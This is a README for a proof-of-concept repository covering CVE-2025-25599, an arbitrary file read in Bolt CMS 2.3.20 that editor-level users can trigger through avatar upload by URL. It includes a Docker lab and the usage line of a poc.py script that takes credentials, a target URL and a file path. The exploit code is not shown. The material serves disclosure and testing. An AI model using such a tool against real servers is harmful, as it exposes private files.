# CVE-2025-25599
## Details
[Bolt](https://boltcms.io) is an open-source content management system built
using the [Symfony PHP framework](https://symfony.com/). During a short
security assessment, [Certitude](https://certitude.consulting) identified several vulnerabilities including an **arbitrary file read**.
Users with the role **EDITOR**, **CHIEF_EDITOR**, **ADMIN**, or **DEVELOPER** may abuse an [insecure temporary file disclosure](https://cwe.mitre.org/data/definitions/377.html) when **uploading an avatar via URL** in order to **read arbitrary files** from the underlying server.
For further details, please refer to this [blog post](https://certitude.consulting).
## Proof of Concept
### Docker
A Docker container is included for testing. It installs and runs Bolt CMS 2.3.20 from composer on a debian base. Once running, Bolt is accessible at [http://localhost:8001](http://localhost:8001).
```
sudo docker compose up --build
```
#### Usage
```
python3 poc.py -h
usage: poc.py [-h] -u USERNAME -p PASSWORD -U URL [-f FILE] [-v] [-o OUT]
